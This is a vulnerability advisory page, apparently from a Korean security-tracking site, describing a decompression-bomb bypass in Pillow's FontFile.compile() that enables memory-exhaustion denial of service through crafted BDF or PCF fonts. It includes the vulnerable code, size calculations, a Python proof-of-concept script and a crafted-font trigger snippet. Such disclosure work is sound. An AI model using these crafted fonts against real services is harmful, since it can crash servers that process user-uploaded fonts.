Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Description
PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.
Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.
Vulnerable code (PIL/FontFile.py lines ~64–92):
1def compile(self) -> None: 2 if self.bitmap: 3 return 4 5 h = w = maxwidth = 0 6 lines = 1 7 for glyph in self.glyph: # up to 256 glyph slots 8 if glyph: 9 d, dst, src, im = glyph10 h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled11 w = w + (src[2] - src[0])12 if w > WIDTH: # WIDTH = 80013 lines += 114 w = src[2] - src[0]15 maxwidth = max(maxwidth, w)16 17 xsize = maxwidth # ≤ 800 (capped by WIDTH constant)18 ysize = lines * h # ← lines(256) × h(65535) = 16,776,96019 20 if xsize == 0 and ysize == 0:21 return22 23 self.ysize = h24 # NO _decompression_bomb_check() here ←25 self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:
| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |
|---|---|---|
| Pixel count | 700,000 | 179,200,000 |
| DecompressionBombWarning threshold (89.4M) | 0.008× — no warning | 2.0× — above warning |
| DecompressionBombError threshold (178.9M) | 0.004× — no error | 1.001× — above error |
With PCF-maximum glyph height (65,535):
| Metric | Value |
|---|---|
| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |
| h (max glyph height) | 65,535 |
| xsize | 800 |
| ysize = lines × h | 256 × 65,535 = 16,776,960 |
| Total pixels | 800 × 16,776,960 = 13,421,568,000 |
| Ratio vs. DecompressionBombError threshold | 75× |
| Memory (mode "1", 1 bit/pixel) | ~1.6 GB |
Steps to reproduce
Proof of Concept script:
1#!/usr/bin/env python3 2""" 3PoC: FontFile.compile() bomb bypass 4256 glyphs at 800x875 each (individually below warning threshold) 5→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check 6""" 7from PIL import FontFile, Image 8 9MAX_GLYPHS = 25610GLYPH_W = 80011GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold12 13class MockFont(FontFile.FontFile):14 def __init__(self):15 super().__init__()16 # Each glyph is individually safe (700K px < 89.4M warning)17 im = Image.new("1", (GLYPH_W, GLYPH_H))18 for i in range(MAX_GLYPHS):19 self.glyph[i] = (20 (GLYPH_W, GLYPH_H),21 (0, -GLYPH_H, GLYPH_W, 0),22 (0, 0, GLYPH_W, GLYPH_H),23 im,24 )25 26# Confirm bomb check WOULD catch the combined size27combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)28try:29 Image._decompression_bomb_check(combined_size)30 print("[FAIL] bomb check did not raise — unexpected")31except Image.DecompressionBombError as e:32 print(f"[OK] bomb check WOULD block {combined_size}: {e}")33 34# Vulnerable path: compile() has NO bomb check35font = MockFont()36font.compile() # → Image.new("1", (800, 224000)) — no error raised37 38px = font.bitmap.size[0] * font.bitmap.size[1]39threshold = Image.MAX_IMAGE_PIXELS * 240print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")41print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)")42print(f" No DecompressionBombError raised at any point.")Expected output:
1[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit 2of 178956970 pixels, could be decompression bomb DOS attack. 3[BYPASS] compile() succeeded: bitmap=(800, 224000) 4 pixels=179,200,000 (1.001× DecompressionBombError threshold) 5 No DecompressionBombError raised at any point.Verified live on Pillow 12.2.0 — compile() succeeds with no exception.
Real-world trigger using BDF font file:
1from PIL import BdfFontFile 2import io 3 4# Load a crafted BDF font with 256 glyphs each claiming height=65535 5# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) 6# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold 7font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb")) 8font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb checkAttack scenarios:
| Scenario | Effect |
|---|---|
Web font preview (BdfFontFile(upload).to_imagefont()) | DoS with crafted .bdf upload |
Server-side font renderer that loads PCF → to_imagefont() | OOM crash |
| Font pipeline: load → render text | One malicious font file kills the process |
Impact
- Availability: HIGH —
compile()creates a combined bitmap whose pixel count scales asWIDTH × lines × max_glyph_heightwith no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - Confidentiality: None
- Integrity: None
Affected call paths:
BdfFontFile.BdfFontFile(fp).to_imagefont()→FontFile.compile()BdfFontFile.BdfFontFile(fp).save(filename)→FontFile.compile()PcfFontFile.PcfFontFile(fp).to_imagefont()→FontFile.compile()PcfFontFile.PcfFontFile(fp).save(filename)→FontFile.compile()
Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.
Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…